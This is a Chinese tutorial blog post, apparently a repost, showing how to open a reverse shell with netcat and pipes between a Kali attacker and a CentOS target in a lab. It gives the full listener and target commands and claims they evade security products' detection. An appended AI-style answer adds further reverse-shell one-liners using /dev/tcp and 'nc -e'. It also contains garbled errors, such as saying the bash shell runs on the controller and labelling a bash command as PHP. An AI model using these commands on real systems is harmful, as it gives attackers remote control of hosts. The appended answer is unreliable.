nc+管道符的一种反弹shell姿势

一.什么叫反弹shell?

  在计算机科学中,Shell俗称壳(用来区别于核),是指“提供使用者使用界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序,这是来自百度百科的解释,通俗点就是说shell是一个用来执行命令的软件,比如我们常见的windows系统下的cmd.exe、powershell,linux下的bash、ksh、zsh等,那什么叫反弹shell呢,反弹shell就是将目标的shell反弹到本地来,这样在本地shell上操作就相当于在操作远程主机上的shell。

二.常见的反弹shell都有哪些?

  反弹shell的姿势有很多,网上师傅们也有整理了各种文章,知识面有多广,姿势就有多猥琐,我就目前常见的简单说一下:bash反弹、nc、php、python、telnet、ruby等,具体的使用方法网上都有就不细说了,下面说个我遇到的认为不错的反弹shell的方法,NC+linux中的管道符反弹shell,嗯,据说类似的方法可以绕过某些安全产品对反弹shell的检测。

三.实际操作

攻击机:Kali2.0 192.168.128.133

目标机:Centos7 192.168.128.149

kali上的执行的命令(需要打开两个终端分别执行)

nc -lvp 4444

nc -lvp 5555

如下图所示:

centos7上执行如下命令

nc 192.168.128.133 4444|/bin/bash|nc 192.168.128.133 5555

如下图所示:

此时查看kali的两个终端,发现已经显示连接成功

这是在kali终端1上执行的命令将会在kali终端2上显示出来,如下所示:

 三.原理解释

  上面就是nc+管道符执行后的效果,那原理是什么呢,我们常用的不是直接在攻击机上反弹shell后直接在攻击机上执行就行吗?为何kali需要开启两个终端监听?别急下面就来解释下原因

  我们把nc 192.168.128.133 4444 |/bin/bash| nc 192.168.138.133 5555 命令分解来看看

  我们先来看看在centos7上执行nc 192.168.128.133 4444和kali上执行nc -lvp 4444是什么效果

此时已经连接上,这时执行命令试试

这时执行命令你会发现不管你在哪一方的终端上执行,另一边都会把你执行的东西原样显示出来,这种在nc中也叫聊天室,同样的后面的nc 192.168.128.133 5555也是一样的

/bin/bash在linux中就代表当前使用的shell(shell有很多,目前在这儿只说bash),| 管道符在linux中代表将管道符前面的结果作为管道符后面的输入,在这里解释就是将在kali终端1上执行的命令在centos7上作为输入执行

因此当我们在kali终端1上执行ls后,ls会作为输入传递到centos7的bash上作为输入,在bash执行完ls后会将结果又作为输入传递到kali的终端2上显示出来,总体来说这条命令真的很 ”皮”。

四.总结

类似的命令还有很多种,这条命令只是入门级别的,世间骚操作千千万,很多还需要我们去静下心去学习、发现

参考链接:

http://www.freebuf.com/articles/system/178150.html

http://www.freebuf.com/articles/system/153986.html

转载于:https://www.cnblogs.com/Id3al/p/9382426.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
NC反弹shell一种利用NetCat工具实现的一种技术,用于在目标机器和控制机器之间建立一个反向连接,并获得对目标机器的控制权。在反弹shell中,目标机器先执行NC命令,将shell连接到控制机器上的NC监听端口,从而使控制机器能够控制目标机器。 有几种方法可以实现NC反弹shell。其中一种是使用bash反弹,命令如下: ``` bash -i &>/dev/tcp/ip/port 0>&1 ``` 请注意,这种方法需要在控制机器上执行。 另一种方法是使用NC命令进行反向连接,命令如下: ``` nc -e /bin/bash 192.168.0.4 7777 ``` 这种方法适用于在CentOS或Ubuntu上使用。 还有一种方法是使用php反弹shell,需要目标机器安装NC。命令如下: ``` bash -i &>/dev/tcp/ip/port 0>&1 ``` 同样,这种方法需要在控制机器上执行。 总而言之,NC反弹shell一种通过建立反向连接实现对目标机器的控制的技术。可以使用不同的方法来实现反弹shell,如bash反弹和php反弹。这些方法需要根据具体情况和系统进行选择和执行。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [详解NC反弹shell的几种方法](https://download.csdn.net/download/weixin_38664159/14048091)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [NC反弹shell的几种方法](https://blog.csdn.net/qq_59350385/article/details/124733038)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值